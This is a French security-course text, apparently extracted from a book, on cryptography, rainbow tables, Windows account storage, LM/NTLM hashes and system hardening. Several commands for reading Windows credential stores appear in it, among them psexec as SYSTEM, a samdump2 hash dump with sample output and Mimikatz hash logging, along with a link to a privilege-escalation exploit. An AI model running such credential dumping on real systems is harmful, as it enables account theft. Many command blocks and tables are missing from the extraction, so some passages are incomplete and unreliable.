Une pratique courante est de prendre un mot, par exemple "réseau", et d’y appliquer les règles
précédentes : "@R3S34u*". Le mot de passe obtenu est suffisamment complexe et néanmoins
mémorisable.
De nouvelles études semblent démontrer que le plus important est la longueur du mot de passe ainsi
que son absence de tout dictionnaire. Ainsi, le mieux est de combiner les lettres d’une phrase.
Chiffrement et cryptage
1. Introduction
La cryptographie permet de :
transformer un message afin de le rendre inexploitable par une tierce partie en cas
d’interception ;
garantir la confidentialité ;
L’algorithme de chiffrement est également connu et public. L’examen public en garantit la fiabilité, et
créer son propre algorithme est une mauvaise pratique (security by offuscation).
2. Le chiffrement symétrique
C’est un chiffrement rapide utilisé généralement pour les gros volumes de données.
Le chiffrement symétrique est réversible : une donnée chiffrée peut être déchiffrée. Comme la même
clé est utilisée pour chiffrer et pour déchiffrer les données, il faut garantir la sécurité de la clé
symétrique tant lors de son stockage que lors de l’échange avec des partenaires.
AES (Advanced Encryption Standard) et Camelia sont les deux algorithmes recommandés par l’ENISA
(European Network and Information Security Agency).
Les algorithmes DES, Blowfish, Kasumi, 3DES sont considérés comme obsolètes et ne doivent être
utilisés que pour garantir une rétrocompatibilité.
Restrict
ed
3. Le chiffrement asymétrique
C’est un chiffrement plus lent utilisé généralement pour de petits volumes de données comme des
clés symétriques et les signatures. Les données chiffrées par une clé publique peuvent uniquement
être déchiffrées avec la clé privée correspondante et vice versa. Les clés sont reliées
mathématiquement mais une clé privée ne peut être dérivée d’une clé publique.
L’algorithme RSA est un chiffrement à clé publique reposant sur le fait que plus les nombres sont
grands, plus le temps pour les décomposer s’accroît de manière exponentielle.
Ce sont des algorithmes de hachage qui transforment une chaîne de caractères de taille variable en
un hash (ou condensat) de taille fixe.
Les algorithmes RIPEMD, MD5 et SHA-1 sont considérés comme obsolètes et ne doivent être utilisés
que pour garantir une rétrocompatibilité.
a. Principe
En cryptologie, une table arc-en-ciel est une structure de données qui permet de retrouver un mot
de passe à partir de son empreinte. Une table arc-en-ciel est constituée de paires de mots de passe.
Chaque ligne de cette table possède un mot de passe de départ et une empreinte d’arrivée. Le calcul
de la table se fait en faisant subir au mot de passe initial une très grande série de réductions et de
hachages successifs afin d’obtenir des éléments intermédiaires que sont les nouveaux mots de passe
et les empreintes correspondantes. La fonction de réduction transforme une empreinte en un
nouveau mot de passe. Cette fonction est cohérente, c’est-à-dire qu’elle retourne toujours le même
mot de passe quand on lui passe une même empreinte en paramètre.
Afin d’éviter des problèmes de collision, plusieurs fonctions de réduction sont utilisées. On répète ces
opérations des milliers de fois et on obtient une empreinte en bout de chaîne. Celle-ci sera stockée
avec le mot de passe d’origine, on ne garde pas le reste de la chaîne générée pour des raisons de
taille de fichier. Il est possible néanmoins de retrouver cette chaîne en la recalculant à partir du mot
de passe d’origine conservé. On passe à la deuxième ligne et on recommence l’opération jusqu’à
constituer une table dont les statistiques sont suffisantes pour garantir le succès de l’attaque.
Soit P le mot de passe d’origine, H la fonction de hachage appliquée et R1, R2... les fonctions de
réduction successives de la chaîne.
Restrict
ed
Une fonction de hachage (H) donne une empreinte et une fonction de réduction (R) donne un mot de
passe. La chaîne se crée de cette façon :
P==>H(P)==>R1(H(P))==>H(R1(H(P)))==>R2(H(R1(H(P))))==> H(R2(H(R1(H(P)))))...
Une recherche dans la table permet de retrouver l’empreinte à la ligne 2. Elle est associée avec le
mot de passe tiot, qui, comme dit précédemment, n’est pas stocké dans la table.
Il faut donc regénérer la chaîne en prenant le mot de passe initial kore, et en le passant dans la
fonction de hachage. Le résultat 956ace45 est ensuite passé à la fonction de réduction qui a servi à
générer la table. Le résultat tite est ensuite passé dans la fonction de hachage, et son résultat est à
son tour réduit.
Ceci est un cas idéal, car l’empreinte figure directement dans la table.
Pour craquer l’empreinte 4455c08b qui ne figure pas dans la table rainbow de l’exemple :
Il faut appliquer la fonction de réduction sur l’empreinte 4455c08b, ce qui donne le mot fasm. Ce
mot est ensuite passé dans la fonction de hachage. L’empreinte obtenue, 1958ef5d, figure dans la
table rainbow à la première ligne. Nous reprenons donc le mot de passe initial de la ligne qui
est code. Il faut maintenant procéder comme pour le premier cas pour reconstituer la chaîne. En
deux coups de hachage-réduction le mot de passe brix obtenu fournit l’empreinte 4455c08b une fois
haché. Le mot de passe brix correspond donc à l’empreinte recherchée 4455c08b.
https://www.freerainbowtables.com
Restrict
ed
Il existe un utilitaire, rtgen sous Linux
et winrtgen (https://sourceforge.net/projects/rainbowtablesge/) sous Windows, permettant de
générer des rainbow tables. Winrtgen propose une interface graphique plus conviviale et permet de
générer les tables pour les algorithmes de chiffrement LM, FastLM, NTLM, CiscoPIX, MD2, MD4,
MD5, SHA-1, SHA-2 (256), SHA-2 (384), SHA-2 (512), MySQL (323), MySQL (SHA1) et RIPEMD160.
Une deuxième fenêtre s’ouvre alors où il est possible de définir différents critères comme le type
d’algorithme de chiffrement, les longueurs minimum et maximum de mot de passe, l’index de la
table, le nombre de hashs de la chaîne, le nombre de chaînes dans un fichier, le nombre de tables et
le jeu de caractères (alphabétique, alphanumérique...) à utiliser pour générer la table.
Les propriétés de la table indiquent l’espace occupé par les tables ainsi que le taux de réussite estimé
du craquage du mot de passe. Le bouton Benchmark permet de visualiser le temps calculé pour
générer les tables.
Plusieurs méthodes peuvent être utilisées pour trouver le mot de passe correspondant à une
empreinte :
Attaque par force brute : c’est la méthode la plus simple et la moins rapide qui consiste à
tester toutes les combinaisons sans consigne particulière. Un mode incrémental est souvent
disponible. Il permet de tester toutes les combinaisons de caractères dans une plage donnée
et dans un jeu de caractères défini.
Attaque par table arc-en-ciel (rainbow table) : il s’agit de l’utilisation de tables arc-en-ciel
pour rechercher une correspondance de hash. C’est une technique très rapide mais il faut
une table par salage, ce qui explique son utilisation quasi exclusive avec Windows.
Restrict
ed
Les processus
Un processus est une tâche qui s’exécute sur un processeur. Chaque processus est identifié par son
PID (Process ID), un nombre entier unique. Le Gestionnaire des tâches permet de voir l’état des
différents processus qui s’exécutent sur la machine et d’agir sur ceux-ci. Traditionnellement, sous
Windows, il est accessible en effectuant [Ctrl][Alt][Suppr]. Sous macOS, il faut passer par le Moniteur
d’activité ; ou, comme sur tout système Unix, on utilise la commande ps.
Au lancement, un processus est exécuté avec les droits de l’utilisateur courant, mais le processus
peut élever ses privilèges pour effectuer une tâche administrative, ou baisser ses privilèges pour ne
conserver que ceux dont il a besoin. Cette dernière opération est courante pour les démons sous
Unix. En effet, ils doivent démarrer en tant que root pour lire leur configuration, afin d’allouer les
ressources nécessaires. Mais fonctionner en tant que root serait inutilement dangereux, pour un
démon réseau par exemple, alors le processus diminue ses privilèges ensuite. En cas de
compromission du service, l’attaquant n’aura que des privilèges très limités, réduisant ainsi l’impact
sur le système.
Le processus coupable peut alors être terminé : sous Windows, en sélectionnant le processus dans la
liste, puis en cliquant sur le bouton Terminer le processus ; sous Unix, via la commande kill suivie du
PID. Si le processus refuse de s’arrêter, l’ajout de l’option -9 permet de le "tuer". Il sera alors
immédiatement stoppé.
Un processus ne s’exécute pas de manière atomique, il peut être interrompu n’importe quand pour
donner du temps processeur à un autre processus, permettant ainsi le pseudo-parallélisme qui
donne l’illusion que tous les programmes fonctionnent en même temps.
Les situations de concurrence (race conditions), sont le résultat d’un accès simultané mal contrôlé à
la même ressource (mémoire, fichier ou périphérique) par plusieurs processus. En effet, si un
processus est interrompu alors qu’il est censé effectuer une série d’instructions qui ne doivent pas
l’être, cela peut mener à des situations d’incohérence, de blocage, voire de plantage du programme.
Ces situations restent difficiles à provoquer, puisqu’il s’agit d’obtenir le basculement entre
l’application victime et l’application attaquante au bon moment. Ainsi, il faut procéder en quelque
sorte à un brute forcing de l’application cible.
Néanmoins, pour se prémunir au maximum de ces situations, le développeur doit suivre quelques
bonnes pratiques : effectuer une tâche avec le minimum de droits nécessaires, ouvrir les ressources
critiques en mode exclusif, bien gérer l’exclusion mutuelle avec des verrous, ouvrir des fichiers
Restrict
ed
temporaires avec des noms imprédictibles et utiliser les fonctions agissant sur un descripteur de
fichier plutôt que sur un nom de fichier.
Le démarrage
Le démarrage est une phase critique. Le système d’exploitation est vulnérable pour établir la
sécurité. En effet, rien ne garantit que ses fichiers n’ont pas été altérés ou qu’un programme
malveillant ne s’est pas exécuté avant que le contrôle ne lui ait été donné.
Un système d’exploitation doit être capable de démarrer pour être réparé, ce qui pose quelques
problèmes de sécurité. Par exemple, sous GNU/Linux, il est possible de passer, via le chargeur de
démarrage, un programme alternatif à init, chargé de l’initialisation du système. Mais si un shell est
utilisé, on obtient alors un accès direct en mode administrateur.
Sur macOS X, il est possible de démarrer en mode mono-utilisateur, qui lance alors un shell
administrateur directement, en maintenant les touches [Pomme] + S au démarrage. Pour se
protéger, il faut activer le mot de passe de protection du firmware du Mac avec l’outil dédié sur le
DVD d’installation de macOS.
Les nouveaux systèmes d’exploitation tirent de plus en plus parti de la signature des fichiers pour ne
pas charger des programmes altérés par une tierce partie. L’attaque de preboot consiste à charger un
programme avant n’importe lequel du système d’exploitation. Ainsi, peu importent les sécurités
ajoutées, notre programme a les pleins pouvoirs et a donc la possibilité de modifier à la volée les
données en mémoire, donc le comportement de n’importe quel programme (par exemple, pour
outrepasser la phase d’authentification).
Des outils comme Konboot ou vbootkit exploitent cette faiblesse majeure sous Microsoft Windows.
Actuellement, GNU/Linux et macOS semblent épargnés, puisque ces systèmes ne supposent pas, ou
plus, que la phase de preboot soit sécurisée.
Pour se protéger, la meilleure solution reste donc de chiffrer ses données personnelles. Il
existe EFS et BitLocker sous Microsoft Windows Vista et supérieur, à télécharger et installer.
Sous GNU/Linux, vous pouvez chiffrer votre dossier personnel dès l’installation sur certaines
distributions comme Ubuntu. Enfin, sur macOS X, dans le panneau Sécurité des préférences système,
vous pouvez activer FileVault pour faire de même.
3. L’hibernation
Tout comme le démarrage, l’hibernation, bien que pratique, peut se révéler un excellent moyen de
récupérer des mots de passe. En effet, pour atteindre ce mode, le système d’exploitation copie le
contenu de la mémoire vive dans un fichier sur le disque. Si ce fichier n’est pas sécurisé, des outils
permettent de l’exploiter hors ligne.
Truecrypt permet de chiffrer le fichier d’hibernation. Sous macOS X, il est possible d’activer la
sécurité du fichier d’hibernation avec la commande pmset -a hibernatemode 5.
4. Les sauvegardes
Restrict
ed
La mise en place d’une politique de sauvegarde permet de redémarrer les services le plus
rapidement possible.
D’une simple copie sur une clé USB à l’archivage quasi quotidien sur support optique, il s’agit à
nouveau ici de jauger et d’adapter la solution à la situation.
De nombreux outils libres vous assistent gratuitement dans cette étape indispensable.
Attention à la manière dont vous effectuez les sauvegardes et à leur stockage, il serait dommage
d’avoir sécurisé le système et qu’une attaque réussisse sur la sauvegarde.
Sur macOS X, l’outil Time Machine met en place très facilement une politique de sauvegardes
incrémentales à l’aide d’un disque externe amovible ou sur le réseau.
Restrict
ed
Windows
1. Gestion des utilisateurs
Un utilisateur est la représentation virtuelle d’une personne physique, enregistrée sur l’ordinateur, à
laquelle des informations sont associées comme ses nom et prénom, adresse et mot de passe. Pour
interagir avec le système, un utilisateur physique s’authentifie avec son utilisateur virtuel : il saisit
son identifiant et son mot de passe avant de pouvoir faire quoi que ce soit. Les actions sont alors
effectuées sous cette identité, et sont limitées par les permissions qui lui ont été attribuées.
Des utilisateurs spéciaux existent sur les systèmes, sans lien avec une personne physique. Il s’agit
d’utilisateurs uniquement virtuels permettant de cadrer le fonctionnement des programmes, afin
d’en limiter les privilèges, par sécurité : par exemple, ne pas autoriser l’accès à une ligne de
commandes, au réseau, à interagir avec l’interface graphique, etc.
Windows gère ses utilisateurs dans un fichier SAM (Security Account Manager). Traditionnellement,
les utilisateurs se gèrent de façon graphique dans la console de gestion du système accessible via la
commande compmgmt.msc.
Il est possible également de gérer les utilisateurs en ligne de commandes, via des commandes, des
scripts VBS ou VBA et via PowerShell.
Création de l’utilisateur :
Suppression de l’utilisateur "Laurent" ainsi que des fichiers contenus dans son répertoire
personnel :
Un groupe est une entité qui rassemble des utilisateurs, à laquelle des permissions peuvent être
attribuées. Au lieu d’affecter les permissions utilisateur par utilisateur, les droits sont donnés à un
groupe, et les utilisateurs concernés sont affectés à ce groupe.
Affecter les permissions utilisateur par utilisateur est rébarbatif et est sujet aux erreurs. En effet,
dans le cas de suppressions d’accès à des utilisateurs, il ne faut pas en oublier une, sinon la sécurité
serait compromise. Les groupes permettent d’éviter ce genre d’erreurs.
La gestion des groupes s’effectue de la même manière que les utilisateurs, via la console de gestion
ou en ligne de commande.
Restrict
ed
Une permission est une autorisation attribuée à un utilisateur ou à un groupe sur une ressource
(fichier, répertoire, périphérique). Elles sont différentes sous GNU/Linux, Windows et macOS X. Elles
sont par défaut plus fines sous Windows et macOS X que sous GNU/Linux. Sous GNU/Linux, il s’agit
de lire, écrire et exécuter (fichier)/parcourir (dossier) pour un utilisateur propriétaire, un groupe et
les autres utilisateurs. Sous Windows et macOS X, il est possible d’attribuer ces droits à autant
d’utilisateurs et de groupes que souhaité.
Si vous ne faites pas partie d’un domaine Windows, il faut tout d’abord désactiver l’assistant de
partage des fichiers afin d’obtenir l’onglet Sécurité dans les propriétés des fichiers et des dossiers.
Sélectionnez l’onglet Affichage et cliquez sur Options - Modifier les options des dossiers et de
recherche.
Dans la boîte de dialogue Options des dossiers, sélectionnez l’onglet Affichage et décochez Utiliser
l’Assistant Partage.
Sous Windows, les opérations lancées sur les fichiers et répertoires dépendent des choix opérés dans
ces options des dossiers de recherche. Par exemple, si vous laissez les paramètres par défaut et que
vous lancez manuellement un scan avec un antivirus ou une copie, seuls les fichiers et répertoires
visibles seront affectés ! Aussi il est fortement recommandé de :
décocher Masquer les extensions des fichiers dont le type est connu ;
Les permissions de Windows sont basées sur les ACL (Access Control List), disponibles également
sous GNU/Linux mais peu utilisées. Les ACL ont l’avantage de pouvoir gérer les permissions pour
plusieurs groupes et utilisateurs sur le même objet. Dans la partie haute de l’onglet Sécurité, il suffit
d’ajouter un groupe ou un utilisateur, puis dans la partie basse de régler ses permissions.
Restrict
ed
Si l’attaquant possède déjà un accès sur la machine, il peut tenter de récupérer le mot de passe
stocké sur le système. L’attaque n’a alors pas lieu durant la phase d’authentification.
Le mot de passe peut être stocké à différents endroits, en clair, chiffré ou haché : directement dans
le programme d’authentification, dans un fichier ou dans une base de données. Un mot de passe est
stocké en clair lorsqu’il est directement lisible. Il est chiffré lorsqu’il a subi certaines transformations
pour être stocké sans être lisible. Les opérations inverses seront alors effectuées pour récupérer et
vérifier le mot de passe. Enfin, un mot de passe est dit haché lorsque des opérations irréversibles ont
été effectuées pour le stocker. À la vérification, ces mêmes opérations seront appliquées à la saisie
de l’utilisateur. Le résultat (le condensat) sera alors comparé à ce qui est stocké. L’égalité garantit
que le mot de passe saisi est le bon. Avec le hachage, la sécurité repose sur le fait que les
transformations irréversibles ne donnent généralement pas deux résultats identiques pour deux
mots de passe différents. Si c’est le cas, on parle de collision.
Le hachage est la méthode la plus couramment utilisée, car elle ne permet pas de retrouver le mot
de passe à partir de l’information sauvegardée. Mais un autre problème se pose : l’utilisation d’un
même mot de passe par deux utilisateurs fournira le même hachage. Un procédé
appelé salage ajoute une séquence de bits non liée directement au mot de passe (par exemple un
mot généré aléatoirement) avant le hachage. Cela permet d’éviter d’avoir des hachages identiques
pour des mots de passe identiques. Cette séquence de bit doit donc être lisible directement ou
prédictible. L’absence de salage permet l’utilisation de rainbow tables.
Pour changer le mot de passe de l’utilisateur laurent avec @R3S34u*, ouvrez une ligne de
commandes, et tapez :
Dans les systèmes de la famille NT, les machines en groupe de travail stockent les mots de passe dans
la SAM (Security Account Manager). Cette dernière est localisée dans le fichier $windir$\system32\
config\sam ($windir$ = répertoire de Windows).
Microsoft Windows n’emploie pas de salage dans la gestion de ses mots de passe. Cependant, les
empreintes ne sont pas enregistrées telles quelles dans la SAM mais obscurcies par du chiffrement
ou du hachage suivant les versions. Le numéro d’identification de l’utilisateur, qui est unique, est
notamment pris en compte pour empêcher que deux personnes ayant le même mot de passe aient la
même entrée dans le fichier.
Restrict
ed
psexec.exe -i -s regedit
Les données sont chiffrées mais les informations nécessaires au déchiffrement sont également dans
la base de registre. Il existe également une copie sur le disque local C:\Windows\System32\SAM.
Il est possible de déplacer sur média amovible la clé de chiffrement avec l’utilitaire syskey fourni par
Microsoft. La contrainte est de toujours avoir celle-ci pour démarrer le PC. Attention, il faut
renommer la clé USB en lecteur A: car le programme d’export de la syskey ne permet d’enregistrer
que sur disquette (A: par définition).
Pour exporter la base de données des utilisateurs (SAM) dans le fichier sam.save :
L’objectif d’un domaine est de centraliser les données importantes, y compris la définition des
utilisateurs et des mots de passe. Les utilisateurs du domaine sont stockés dans une base de données
présente dans les contrôleurs de domaine nommée NTDS.DIT. Ce fichier est situé dans le répertoire
%SystemRoot%\NTDS.
Toutes les autres machines du domaine peuvent authentifier un utilisateur en interrogeant leur base
de données locale (SAM) respective ou en contactant un contrôleur du domaine.
Restrict
ed
$ samdump2 system.save sam.save > hashs.txt
$ cat hashs.txt
Laurent:1001:AAD3B435B51404EEAAD3B435B51404EE:
4CCDB7041204D5488C04637BF6ADFF08:::
user:1000:AAD3B435B51404EEAAD3B435B51404EE:
57D583AA46D571502AAD4BB7AEA09C70:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:
31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:
0934193FBA69A5BC6A1C57A216F689C1:::
Le deux-points (:) est utilisé comme séparateur et quatre utilisateurs sont actifs :
Administrateur (ID=500), Guest (ID=501), user (ID=1000) et laurent (ID=1001). Les valeurs qui suivent
l’ID sont les mots de passe hachés. Suivant la version de Windows, il est possible de retrouver les
condensats des mots de passe sous trois formats différents. En effet, plusieurs algorithmes ont été
utilisés par Microsoft pour la base de données des comptes utilisateurs locaux sur les systèmes
Windows.
Avec Windows "Anniversary Update", plusieurs mécanismes de sécurité ont été ajoutés :
La fonctionnalité Credential
Guard (https://docs.microsoft.com/fr-fr/archive/blogs/ash/windows-10-device-guard-and-
credential-guard-demystified) utilise la sécurité basée sur la virtualisation pour isoler les
secrets afin que seuls les logiciels privilégiés puissent y accéder. Les informations
d’identification dérivées de Windows NTLM et Kerberos et d’autres secrets sont exécutées
dans un environnement protégé, isolé du système d’exploitation en cours d’exécution.
Toutefois, les prérequis sont nécessaires :
SLAT (Second Layer Address Translation) et les extensions de virtualisation doivent être
activées (Intel VT ou AMD V).
Les informations permettant la mise en place de la sécurité basée sur la virtualisation sont
disponibles à l’adresse suivante : https://docs.microsoft.com/en-us/windows/security/threat-
protection/device-guard/enable-virtualization-based-protection-of-code-integrity#enable-hvci-using-
group-policy
Restrict
ed
Windows Defender
Mode administrateur
Fonctionnalité Bureau à distance Credential Guard à
restreint
distance
Exécutez ensuite Mimikatz et, dans la console, tapez les commandes suivantes :
mimikatz # log hash.txt
Using 'hash.txt' for logfile : OK
user:1001::eacb2c6a3aaa4ed476ed2741be8c7a4e:::
1001: le userID.
LM (LAN Manager) est le plus ancien stockage de mots de passe utilisé par Windows, datant des
années 1980.
Restrict
ed
Le mot de passe est converti en majuscules.
Le mot de passe dont la longueur est inférieure à 14 caractères est complété par des NULL.
Chaque élément est chiffré séparément avec l’algorithme DES (la clé de chiffrement est :
"KGS!@#$%").
En raison du jeu de caractères limité et de son algorithme de chiffrement DES, LM est assez facile à
craquer. LM a été désactivé par défaut à partir de Windows Vista/Server 2008, mais il peut persister
dans un réseau pour des raisons de rétrocompatibilité. Il est possible de l’activer dans les versions
ultérieures via un paramètre GPO (même sous Windows Server 2016/Windows 10). L’utilisation du
terme "hash" pour LM est abusive car l’algorithme utilisé est DES, un algorithme de chiffrement
symétrique.
Laurent:1001:AAD3B435B51404EEAAD3B435B51404EE:
4CCDB7041204D5488C04637BF6ADFF08:::
0pthtcrack via les rainbow tables peut craquer un hash LAN Manager ou NTLM V1 en quelques
secondes !
MD4(UTF-16-LE(mot de passe))
L’utilisation d’un algorithme de hachage en lieu et place d’un algorithme de chiffrement garantit la
non-réversibilité du processus.
NTLMv1 (NT LAN Manager version 1) est déprécié mais peut encore être utilisé par des services
d’impression. Le mot de passe est sensible à la casse et utilise un chiffrement sur 128 bits.
Le client ajoute au mot de passe de l’utilisateur au format NTLM (16 octets) cinq octets de
zéro :
MD4(UTF-16-LE(password)) + 5 * 00000000.
Les 21 octets obtenus par type de chiffrement sont ensuite découpés en trois clés (K1, K2 et
K3) de 56 bits (7*8=56). Le client chiffre ensuite le défi (C) avec l’algorithme DES et les clés
obtenues (K1, K2 et K3) :
Restrict
ed
K1 = 1er tiers de NT-Hash + 5 octets de zéro.
La réponse, composée du défi chiffré avec les trois clés, est envoyée au serveur :
NTLMv2 (NT LAN Manager version 2) est la version actuelle. Son mécanisme apporte un
renforcement cryptographique et la possibilité pour un serveur de s’authentifier auprès du client :
Le serveur authentifie le client en envoyant un nombre aléatoire de 8 octets appelé défi (SC :
challenge serveur).
Le client calcule CC* en fonction entre autres de l’heure et d’un nouveau défi client afin de
contrer les attaques par rejeu :
Ensuite, le résultat sera utilisé comme clé pour chiffrer à l’aide de HMAC_MD5 le défi. À cela,
un défi client de 8 octets sera ajouté pour un total de 24 octets :
NTLMv2 ajoute un sel uniquement lors de l’envoi de message, avec une valeur aléatoirement
différente à chaque fois. Par contre, le condensat est stocké dans la SAM sans salage !
Le chiffrement utilisé par Windows dépend notamment de la version du système et de son rôle
(client/serveur). Attention : par défaut, toutes les machines Windows ont leurs services "station de
travail" et "serveur" activés.
Restrict
ed
Le tableau ci-dessous reprend les différentes possibilités :
Niveau 5 - V2 - V2
antérieures à Windows 7 SP1, les empreintes LM et NTLMv1 ou NTLMv2 sont enregistrées dans la
SAM.
Attention : si un mot de passe est sauvegardé au format LM et au format NTLMv1 ou NTLMv2. Il suffit
de casser le chiffrement LM pour retrouver le mot de passe.
Il faut donc demander à Windows de ne plus stocker les mots de passe au format LM !
Avant de réaliser les opérations ci-dessous, remplacez momentanément votre mot de passe par un
mot de passe temporaire afin de remplacer les deux hashs actuels. En effet, le fait de désactiver le
stockage du condensat LM n’efface pas le condensat existant.
Dans la liste des stratégies disponibles, double cliquez sur Sécurité réseau : Ne pas stocker de
valeurs de hachage de niveau LAN Manager sur la prochaine modification de mot de passe.
L’option est enfin activée par défaut depuis Windows 7 SP1.
Restrict
ed
-
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa.
Dans le menu Édition, cliquez sur Ajouter une clé, tapez NoLMHash, puis appuyez sur
[Entrée].
Redémarrez l’ordinateur, puis modifiez votre mot de passe afin d’activer le paramètre.
Idéalement, il faudrait travailler au niveau 5 (uniquement NTLMv2) du côté des postes de travail et
des serveurs. Naturellement, les réalités du terrain et le maintien d’anciennes applications imposent
parfois de diminuer le niveau de compatibilité.
Pour modifier ce niveau de compatibilité, il faut modifier la clé de registre (type DWORD) suivante :
lmcompatibilitylevel /t REG_DWORD /d 5 /f
Restrict
ed
Niveau d’authentification de LAN Manager
L’utilisation normale d’une machine ne devrait jamais se faire en tant qu’administrateur, mais en
utilisant un compte utilisateur normal. En effet, cela limite les dégâts lorsqu’une attaque réussit.
C’est aussi valable pour les services (Windows) ou les démons (Unix), puisqu’un service réseau
vulnérable, fonctionnant en root, et qui aurait été corrompu constitue alors une catastrophe,
l’attaquant obtenant dès lors les pleins pouvoirs à distance.
Cependant, certaines tâches nécessitent des privilèges particuliers. Par exemple, l’installation d’un
logiciel ne peut se faire qu’en tant qu’administrateur. Des mécanismes permettent d’exécuter
directement un programme sous une autre identité, sans devoir se déconnecter de sa session et se
connecter sous une autre.
Pour exécuter un processus sous une autre identité, il suffit de maintenir la touche [Shift] enfoncée
ou faire un clic droit sur l’exécutable, de sélectionner Exécuter en tant que et de s’identifier avec
l’identité appropriée.
Un grand nombre de failles de sécurité peuvent être évitées si les comptes exécutant les applications
disposent des droits minimums sur le système d’exploitation pour fonctionner, c’est le principe
de moindre privilège.
Depuis Windows Vista, l’utilisateur par défaut est un utilisateur normal dénué des droits
d’administration.
De plus, certaines actions comme changer de fuseau horaire ou configurer un réseau sans fil ne
nécessitent plus les droits d’administration et les permissions sur la base des registres ont été
modifiées.
Restrict
ed
Groupe de refus sous Windows Vista et supérieur
Au lieu d’utiliser des noms (qui ne sont pas uniques), le système d’exploitation Windows utilise des
SID (Security Identifiers) pour identifier les entités effectuant des actions.
Pour visualiser les SID, il est possible d’utiliser PSGetSid de Mark Russinovich. Toute la "Sysinternals
Suite" est d’ailleurs très utile pour les administrateurs Windows.
Un compte administrateur ne peut être bloqué ou supprimé mais peut être renommé.
Restrict
ed
Le SID administrateur se terminant toujours par 500, le renommer à des fins sécuritaires est
donc sujet à discussion.
En Windows 7, les services peuvent s’exécuter avec trois comptes de sécurité machine différents :
Service réseau : représente la partie réseau de l’OS (privilèges machine moindres et ACL plus
restrictives).
Service local : représente la partie locale de l’OS avec des droits similaires à ceux d’un
utilisateur standard mais ne peut pas s’authentifier sur le réseau.
Les SID de service sont des SID secondaires ajoutés au jeton du service par le Service Control
Manager lors du démarrage dudit service, le SID primaire étant l’identité intégrée (LocalService,
NetworkService, ou LocalSystem) sous laquelle le service fonctionne.
sc showsid rpcss
NOM : rpcss
SID DE SERVICE : S-1-5-80-979556362-403687129-3954533659-2335141334-1547273080
sc showsid mpsvc
NOM : mpsvc
SID DE SERVICE : S-1-5-80-2930424739-3846023914-341264137-1767074886-550187892
Restrict
ed
Lors de l’accès à une ressource, le système vérifie si le jeton présenté possède un SID restreint.
Si c’est le cas :
sc qsidtype mpssvc
[SC] QueryServiceConfig2 réussite(s)
SERVICE_NAME: mpssvc
SERVICE_SID_TYPE: RESTRICTED
Le pare-feu de Windows est de type restreint : il a donc un accès en lecture seule sur le système de
fichiers par défaut.
sc qsidtype mpssvc
[SC] QueryServiceConfig2 réussite(s)
SERVICE_NAME: mpssvc
SERVICE_SID_TYPE: RESTRICTED
C:\Windows\system32>icacls c:\Windows\System32\LogFiles\Firewall
c:\Windows\System32\LogFiles\Firewall NT SERVICE\MpsSvc:(OI)(F)
AUTORITE NT\Système:(OI)(F)
BUILTIN\Administrateurs:(OI)(F)
RPC est de type non restreint : il a donc un accès complet sur le système de fichiers par défaut. Cela
explique pourquoi RPC est souvent attaqué par les hackeurs.
Restricted (0x3) : le service a un SID par service et un jeton d’accès limité (write-restricted token).
Les comptes de services gérés (Managed Service Accounts ou MSA) sont des comptes
domaine (niveau fonctionnel 2008 R2) utilisés pour lancer des services ou des logiciels (pas GUI)
dont les mots de passe se renouvellent automatiquement (120 caractères /30 jours). Il n’est plus
nécessaire d’avoir à définir un compte avec un mot de passe qui n’expire jamais.
Malheureusement, les comptes MSA ne fonctionnent pas avec tous les services (erreur 1297).
Un compte MSA ne peut être utilisé que sur un seul ordinateur à la fois (mais il peut lancer plusieurs
services sur ce même ordinateur).
Restrict
ed
Malheureusement les comptes MSA fonctionnent avec un nombre limité de service comme IIS et
Exchange.
6. Le Planificateur de tâches
Cet outil bien pratique pour programmer à l’avance des tâches uniques ou répétitives peut servir de
porte dérobée en cas d’erreur de programmation ou de configuration.
Un attaquant qui arrive donc à installer une tâche possédant les droits d’administration peut faire ce
qu’il souhaite sur votre machine ; par exemple, en éditant directement le fichier des tâches.
Sur Microsoft Windows 7 ou Server 2008, un exploit de ce type est disponible : http://www.exploit-
db.com/exploits/15589/
Le Planificateur de tâches peut également être utilisé pour lancer des virus, chevaux de Troie et
autres espions. L’attaquant ajoute une tâche récurrente au démarrage, pour le compte de
l’utilisateur qu’il souhaite piéger.
Sur Microsoft Windows 2000, XP et 2003, il fut possible sur certaines versions de lancer un shell en
administrateur à partir d’un compte utilisateur normal. Il suffisait de lancer un shell non privilégié et
de programmer une tâche qui le lance à nouveau à une heure précise, la minute suivante par
exemple :
Microsoft met à disposition de petits outils qui permettent d’espionner l’activité des processus. Ils
sont disponibles sur la page : http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx
Process Monitor permet d’analyser l’activité des fichiers et du registre de Windows. Il suffit de
l’exécuter pour découvrir que, même au repos, un ordinateur travaille un minimum.
Ces outils sont puissants, car ils permettent de disséquer les opérations d’entrée-sortie des
processus, à la recherche d’actions suspectes ou de débogage de sécurité.
Restrict
ed
Les attaques RPC étant liées à des défauts de conceptions, seules les mises à jour
système permettent de réduire la surface d’attaque. Actuellement Windows tente de remplacer RPC
par WinRM.
Les appels de procédures distantes ou RPC (Remote Procedure Call) permettent d’exécuter des
procédures à distance avec un serveur d’applications. Ils permettent notamment aux applications
l’employant de ne pas se soucier de l’implémentation du transfert en réseau, ce système s’en charge.
Sous Windows, ses nombreuses failles ont fait couler beaucoup d’encre. En août 2003, le ver Blaster
paralysa des milliers de machines par une attaque de déni de service. Le 30 avril 2004, c’était le ver
Sasser : un ordinateur infecté téléchargeait un programme qu’il exécutait automatiquement à l’insu
de l’utilisateur. Ce programme se propageait ensuite par les réseaux accessibles par la machine, puis
la redémarrait sans cesse.
Ceci aurait pu être évité si les pare-feu des machines étaient, par défaut, correctement configurés et
la gestion des utilisateurs mieux faite : Windows XP forçait la mise en place d’un mot de passe pour le
compte Administrateur à l’installation, et ne faisait pas tourner ses services sous cette identité.
Retenons qu’il ne faut laisser en fonctionnement sur une machine que le strict minimum, avec des
privilèges adéquats.
Microsoft Windows permet aux programmes distants d’accéder et de modifier le registre via les
appels de procédures distantes. Ceci est très dangereux et n’a pas de réelle utilité dans une
utilisation normale de son ordinateur. Il est donc préférable de désactiver le service associé dans la
gestion des services.
La sécurité d’un système ne doit pas s’arrêter à la mise en application des divers conseils déjà
étudiés. Elle s’effectue tous les jours, par la vérification de la santé du système, afin d’agir dès les
premiers signes annonciateurs d’une faiblesse, surtout en environnement de production.
